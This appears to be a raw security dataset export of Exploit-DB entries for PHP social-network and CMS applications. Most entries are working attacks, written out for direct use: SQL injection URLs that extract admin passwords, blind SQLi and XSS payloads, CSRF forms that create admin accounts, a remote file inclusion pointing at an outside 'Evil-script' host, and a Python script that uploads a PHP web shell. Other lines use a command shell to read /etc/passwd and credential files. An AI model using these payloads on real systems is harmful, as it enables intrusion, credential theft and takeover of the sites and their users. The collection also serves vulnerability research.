deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5707
Description: Social Site Generator 2.0 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-31
Author: vBmad

Exploit:
< ------------------- vBmad ------------------- >

############################################################################################
#
# Application Name    : Social Site Generator
#
# Download               : http://rapidshare.com/files/118424866/Social.Site.Generator.v2._iAG_.Nulled.rar
#
# Vulnerable Type      : RFI (remote file include)
#
# Dork                       : search it :p
# 
# Vulnerable file         : social_game_play.php
#
# author                    : vBmad
#
# Team                     : nab3 Team & hamama team
#
# Greatz                    : ALLAH
#                                   rouchtekh & jonelo & okx all hackerz moroccan    &    bigg thnx to my teacher Roi-PhP
#                               www.nab3i.com     &    www.nab3.2007.fr   &    www.maroc-mp3.net
#
#
############################################################################################

< ------------------- vBmad ------------------- >|
\        /                                                          |
  \    /          uhh@hotmail.fr                            |
    \/__________________________________|


< -- Bug -- >

Exploit :

http://target/path/social_game_play.php?path=http://Evil-script?

< -- Bug -- >

#The majority of the versions are infected

# milw0rm.com [2008-05-31]
Exploit-DB #5701
Description: Social Site Generator 2.0 - 'sgc_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-31
Author: DeAr Ev!L

Exploit:
< -------------------\__________________/------------------- >

#
#
# Application Name        : Social Site Generator
#
# DeMo                        : www.ssgdemo.com
#
#Download                   : http://rapidshare.com/files/118424866/Social.Site.Generator.v2._iAG_.Nulled.rar
#
# Vulnerable Type         : SQL InJeCtiOn
#
# Dork 1                       : display_blog.php
# Dork 2                       : social_my_profile_download
# Dork 3                       : social_forum_subcategories
#
# author                       : DeAr Ev!L
#
#
# Greatz                      : ALLAH
#                                : Genie & Roy5 & Mister-x
#                        
# Team                       : DeLtA MoRoCcAn tEaM
#
#Site Web                   : WwW.BHJA.NeT
#
< -------------------^_________________^------------------- >



< -- bug SQL start -- >

ADMIN :

www.path.com/path/display_blog.php?sgc_id=-4+union+select+1,admin_id+from+web_admin
www.path.com/path/social_my_profile_download.php?scm_mem_id=-1+union+select+admin_id,2,3,4+from+web_admin
www.path.com/path/social_forum_subcategories.php?catid=-1+union+select+1,2,admin_id+from+web_admin

Password :

www.path.com/path/display_blog.php?sgc_id=-4+union+select+1,password+from+web_admin
www.path.com/path/social_my_profile_download.php?scm_mem_id=-1+union+select+password,2,3,4+from+web_admin
www.path.com/path/social_forum_subcategories.php?catid=-1+union+select+1,2,password+from+web_admin

< -- bug SQL End -- >

# milw0rm.com [2008-05-31]
Exploit-DB #5711
Description: Social Site Generator 2.0 - Multiple Remote File Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-01
Author: Stack

Exploit:
############################################################################################
# 
# Application Name         : Social Site Generator
#
# Download                 : http://rapidshare.com/files/118424866/Social.Site.Generator.v2._iAG_.Nulled.rar
#
# Vulnerable Type          : Remote File disclouse
#
# Dork                     : search it :p
#
# Vulnerable file          : filedload.php
#
# author                   : Stack & Jadi
#
# Team                     : v4 Team http://v4-team.com
#
# THNX                     : ALLAH
#Greetz : Houssamix & Djekmani & Jadi & iuoisn &Room-Hackers All muslims HaCkeRs  :)
#                               www.v4-team.com     &    www.Real-Hack.com   &    www.Tryag.com
#
#
############################################################################################
< ------------------- Stack ------------------- >|
\        /                                                          |
  \    /          Wanted                           |
    \/__________________________________|

< -- Bug -- >
Exploit :
http://target/path/filedload.php?file=filedload.php
http://target/path/webadmin/download.php?file=download.php
http://target/path/webadmin/download_file.php

# milw0rm.com [2008-06-01]
Exploit-DB #23382
Description: Social Sites MyBB Plugin 0.2.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-14
Author: s3m00t

Exploit:
# Exploit Title: Social Sites MyBB Plugin 0.2.2 Cross Site Scripting
# Google Dork: inurl:usercp.php?action=socialsites
# Date: 13.12.2012
# Exploit Author: s3m00t
# Vendor Homepage: http://mattrogowski.co.uk/mybb/
# Software Link: http://mods.mybb.com/view/social-sites
# Version: 0.2.2
# Tested on: PHP

Reason:
Lack of input validation at several places.

Proof of Concept:
1. Navigate to "usercp.php?action=socialsites" and you will see a number of
fields as http://i.imgur.com/0tz98.png.
2. Submit below input into any of the field:
" /><script>alert(1)</script><img src="
3. The input will be stored as shown at http://i.imgur.com/Z8bYM.png

Solution:
Replace the content of "inc/plugins/socialsites.php" with this script:
http://pastebin.com/5JLdg4gh
Exploit-DB #33658
Description: Social Web CMS 2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-19
Author: GoLdeN-z3r0

Exploit:
source: https://www.securityfocus.com/bid/38329/info

Social Web CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Social Web CMS Beta 2 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/index.php?category=%22%3E[XSS]
Exploit-DB #10583
Description: social Web CMS Beta 2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-21
Author: cp77fk4r

Exploit:
# Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com<http://gmail.com/>
# Software Link: http://www.socialwebcms.com
# Version: X <= Beta 2
#
# Vulnz:
#
#[Directory Listing]
http://server/modules/
#
#
#[XSS]
http://server/index.php?category=%22%3E[XSS]
#
#
#[CSRF]
-Add friends:
 http://server/user/view/addfriend/login/[VALID_FRIEND]
 or
 http://server/user.php?login=[VALID_FRIEND]&view=addfriend
#
-Remove friends:
 http://server]/user/view/removefriend/login/[VALID_FRIEND]
 or
 http://server/user.php?login=[VALID_FRIEND]&view=removefriend
#
-Remove Messages:
 http://server/module.php?module=simple_messaging&view=delmsg&msg_id=[MESSAGE_ID]
#
#
#[Full Path Disclosure] (From Unlogged Browsing)
http://server/module.php?module=simple_messaging&view=delmsg&msg_id=
#
#[User Redirection]
http://server/module.php?module=simple_messaging&view=compose&to=[VALID_FRIEND]&return=[URL]
#
# EOF
Exploit-DB #51671
Description: Social-Commerce 3.1.6 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-08
Author: CraCkEr

Exploit:
# Exploit Title: Social-Commerce 3.1.6 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://social-commerce.moosocial.com/
# Version: 3.1.6
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4174


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /search/index

GET parameter 'q' is vulnerable to XSS

https://website/search/index?q=[XSS]


URL path folder [1,2] is vulnerable to XSS

https://website/stores[XSS]/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recent

https://website/user_info[XSS]/index/friends

https://website/user_info/index[XSS]/friends

https://website/faqs[XSS]/index?content_search=

https://website/faqs/index[XSS]?content_search=



XSS Payloads:

j8chn"><img src=a onerror=alert(1)>ridxm


[-] Done
Exploit-DB #51116
Description: Social-Share-Buttons v2.2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-28
Author: nu11secur1ty

Exploit:
## Title: Social-Share-Buttons v2.2.3 - SQL Injection
## Author: nu11secur1ty
## Date: 09.16.2022
## Vendor: https://wordpress.org/
## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3


## Description:
The `project_id` parameter from the Social Share Buttons-2.2.3 on the
WordPress-6.0.2 system appears to be vulnerable to SQL injection
attacks.
The malicious user can dump-steal the database, from this system and
he can use it for very malicious purposes.
WARNING: The attacker can retrieve all-database from this system!
NOTE: The users of this system are NOT protected, this SQL
vulnerability is CRITICAL!

STATUS: HIGH Vulnerability

[+]Payload:

```mysql
---
Parameter: project_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=social-sharing-share&project_id=378116348' or
'3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=social-sharing-share&project_id=378116348' or
'3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND
'KWbC'='KWbC&network_id=5&post_id=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3)

## Proof and Exploit:
[href](https://streamable.com/m9r76w)


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #34256
Description: SocialABC NetworX 1.0.3 - Arbitrary File Upload / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-05
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41396/info

SocialABC NetworX is prone to an arbitrary file-upload vulnerability and a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to steal cookie-based authentication information, execute arbitrary client-side scripts in the context of the browser, upload and execute arbitrary files in the context of the webserver, and launch other attacks.

NetworX 1.0.3 is vulnerable; other versions may be affected.

import sys, socket  
host = 'localhost'  
path = '/networx'  
port = 80  
  
def upload_shell():  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((host, port))  
    s.settimeout(8)      
  
    s.send('POST ' + path + '/upload.php?logout=shell.php HTTP/1.1\r\n'  
           'Host: ' + host + '\r\n'  
           'Proxy-Connection: keep-alive\r\n'  
           'User-Agent: x\r\n'  
           'Content-Length: 193\r\n'  
           'Cache-Control: max-age=0\r\n'  
           'Origin: null\r\n'  
           'Content-Type: multipart/form-data; boundary=----x\r\n'  
           'Accept: text/html\r\n'  
           'Accept-Encoding: gzip,deflate,sdch\r\n'  
           'Accept-Language: en-US,en;q=0.8\r\n'  
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n'  
           '------x\r\n'  
           'Content-Disposition: form-data; name="Filedata"; filename="shell.php"\r\n'  
           'Content-Type: application/octet-stream\r\n\r\n'  
           '<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'  
           '------x--\r\n\r\n')  
  
    resp = s.recv(8192)  
  
    http_ok = 'HTTP/1.1 200 OK'  
      
    if http_ok not in resp[:len(http_ok)]:  
        print 'error uploading shell'  
        return  
    else: print 'shell uploaded'  
  
    shell_path = path + '/tmp/shell.php'  
  
    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\  
           'Host: ' + host + '\r\n\r\n')  
  
    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'          
    else: print 'shell located at http://' + host + shell_path  
  
upload_shell()
Exploit-DB #18487
Description: SocialCMS 1.0.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-02-16
Author: Ivano Binetti

Exploit:
+-------------------------------------------------------------------------+
# Exploit Title : Socialcms CSRF Vulnerability
# Date          : 16-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://socialcms.com
# Software link : http://sourceforge.net/projects/socialcms/files/latest/download
# Version       : 1.0.2
# Tested on     : Debian Squeeze (6.0) 
+-------------------------------------------------------------------------+
+---+[Add Admin Account by Ivano Binetti]---+

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>I'm adding ADMIN account using CSRF Vulnerability</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80//socialcms/my_admin/admin1_members.php?action=member_new&page=1&mID=1 ">
<input type="hidden" name="TR_login_name" value="new_admin"/>
<input type="hidden" name="TR_firstname" value="admin_user"/>
<input type="hidden" name="TR_lastname" value="admin_user"/>
<input type="hidden" name="TREF_email_address" value="admin@admin.com"/>
<input type="hidden" name="TR_group_level" value="1"/>
</form>
</body>
</html>

+----------------+
Exploit-DB #17193
Description: SocialCMS 1.0.2 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-20
Author: vir0e5

Exploit:
<!---
    Title: socialcms1.0.2 Multiple CSRF Vulnerabilities
    Author: vir0e5 a.k.a banditc0de <vir0e5@yahoo.com>
    Date: Wed 20 april 2011 11:18:22 AM
    Vendor: www.socialcms.com 
    Download: http://sourceforge.net/projects/socialcms/
--->

<!-- Create Admin User -->

<body onload='document.csrf.submit()'>
	<form method="POST" name="csrf" action="http://localhost/web_test/socialcms/my_admin/admin1_members.php?action=member_new&page=1&mID=1"  class="form">
		<p><input type="hidden" name="TR_login_name" value="vir0e5"></p>
		<p><input type="hidden" name="TR_firstname" value="bandit"></p>
		<p><input type="hidden" name="TR_lastname" value="c0de"/></p>
		<p><input type="hidden" name="TREF_email_address" value="vir0e5@hackermail.com"/></p>
		<p><input type="hidden" name="TR_group_level" value=""/></p>
		<input type="hidden" name="update" value="update" type="submit" />
	</form>
</body>
	
<!-- Default site title -->
<body onload='document.csrf.submit()'>
	<form method="POST" name="csrf" action="http://localhost/web_test/socialcms/my_admin/admin1_configuration.php?gid=1&id=36&action=save"  class="form">
		<p><input type="hidden" name="TR_configuration_title" value="Default site title"></p>
		<p><input type="hidden" name="TR_configuration_name" value="CSRF VULN"></p>
		<p><input type="hidden" name="TR_configuration_value" value="HACKED"/></p>
		<p><input type="hidden" name="configuration_description" value="CSRF"/></p>
		<p><input type="hidden" name="IN_configuration_priority" value="0"/></p>
		<input type="hidden" name="update" value="update" type="submit" />
	</form>

****************-------**DCI2k7**--------*****************
[+] Greetings :[ mywisdom - kiddies - kamtiez - r3m1ck - aciz_n1nj4 | mozartklik |syafm0vic- 

skuteng_boy - blue_screen - agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | 

http://devilzc0de.org | http://santricyber.org | http://indonesiancoder.com | 

http://cyber4rt.com And OTHER's

Cause i'm Alone!!
Exploit-DB #27272
Description: SocialEngine Timeline Plugin 4.2.5p9 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-08-02
Author: spyk2r

Exploit:
# Exploit Title: Sending php file in the timeline plugin cover image of SocialEngine 4.5 
# Date: 2013-08-17 
# Discovered by: Wesley Henrique Leite aka "spyk2r" 
# Vendor Homepage: http://webhive.com.ua/
# Software Link: http://webhive.com.ua/store/product.php?id_product=46
# Version: plugin Timeline 4.2.5p9 for SocialEngine 4.5 
# Vendor Notified: 2013-08-17
# CVE Notified: 2013-08-24
# CVE : CVE-2013-4898


+ INTRODUCTION

The plugin has the objective give you a better visual for the user
profile, allowed the addition of cover image keeping the layout closest
to the style of modern social networks, among other features.

+ DESCRIPTION OF VULNERABILITY

Logged into the system, enter on profile page of your user. [my profile]

    http://[url]/index.php/profile/[profile-name]

    >> Click "Change Cover"

    >> Click "Upload Cover"

select the file "*.php" you want to send.

//### Example PHP file to send "inject.php" ### 
    <?php echo system("$_GET['cmd']"); ?> 
//###

After selecting the file upload, this will be sent to an area temporarily,
the system detects that the format is not valid, but doesn’t remove,
allowing access later.

an error message is displayed on the screen.

[ File "/srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php" 
is not an image or does not exist ]

+ ACCESS

    /srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php

The important thing is the structure of public forward, it will give 
us access to our archive.

    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20/etc/passwd

    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20../../../install/config/auth.php
Exploit-DB #872
Description: SocialMPN - Arbitrary File Injection
Type: webapps
Platform: php
Date: 2005-03-11
Author: y3dips

Exploit:
#!/usr/bin/perl -w
 
# Remote Testing SocialMPN Remote File Inclusion by y3dips [for testing only]
# Bug find by zer0-c00l ,
# Bug published at http://waraxe.us/ftopic-542-0-days0-orderasc-.html

print " * Remote Testing File Inclusion for SocialMPN by y3dips *\n";

require LWP::UserAgent;

if(@ARGV == 2)
        {
      
$target= $ARGV[0];
$xploit= $ARGV[1];


my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$url = "http://$target/modules.php?name=$xploit&file=article&sid=2";
# just for trick , use "?" in the last char of your file inclusion path

my $injek = $ua->get($url);

            print " -------------------------------\n";
   if ($injek->is_success)
   {
      $injekcek = $injek->as_string;
        if ($injekcek =~ /(HTTP\/1\.0 200 OK)/)
        { print("\n This Site Maybe Vulnerable \n"); }
      else
        {die $injek->status_line;}
            print " -------------------------------\n";
        }
   }

else{
print "Use: perl $0 [target] [xplo.txt] \n";
}

# milw0rm.com [2005-03-11]
Exploit-DB #12448
Description: Socialware 2.2 - Upload / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-29
Author: Sid3^effects

Exploit:
# Exploit Title:Upload Vulnerability and XSS in socialware V2.2 (www.iscripts.com)
# Version: Web Application
# vendor :www.iscripts.com
# Date: 29 apr,2010
# Dork:Powered by iScripts SocialWare
# Author:Sid3^effects
# Code :
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
Create your own social community in minutes by using iScripts SocialWare. You can add a community to your existing web site or a standalone web 2.0 application. This script will allow you to create online networking communities for small groups like school classes, regional groups and others. It can also be used for the purposes of professional networking or romantic networks. By allowing your users to network with their family and friends, you are driving viral traffic to your site.

############################################################################

Xploit : Upload Vulnerability

       
  Step 1:Register in the site 
  
  Step 2:Goto your www.site.com/profile.php 
   
  Step 3:Open the "ADD WIDGETS option"
 
         DEMO URL :http://[site]/socialware/demo/includes/profile_save_widgets.php
  
  Step 4:By uploading the evil script successfully u can attack the site :)


############################################################################

Xploit : XSS Vulnerability
  
    Attack parameter :'"--><script>alert(0x000872)</script> 
    Parameter Type : Search query 
    DEMO URL :   
  		http://server/socialware/demo/album.php 
   

############################################################################

#Sid3^effects
Exploit-DB #26667
Description: SocketKB 1.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15650/info

SocketKB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/?__f=category&node=[SQL]
http://www.example.com/?__f=rating_add&art_id=[SQL]
Exploit-DB #30693
Description: SocketKB 1.1.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-10-19
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/26136/info

SocketKB is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect SocketKB 1.1.5; other versions may also be affected. 

http://www.example.com/[PATH]/?__f=article&art_id=###[XSS]&node=###[XSS]
Exploit-DB #30694
Description: Socketmail 2.2.1 - 'lostpwd.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-19
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/26138/info

SocketMail is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/lostpwd.php?lost_id=[XSS]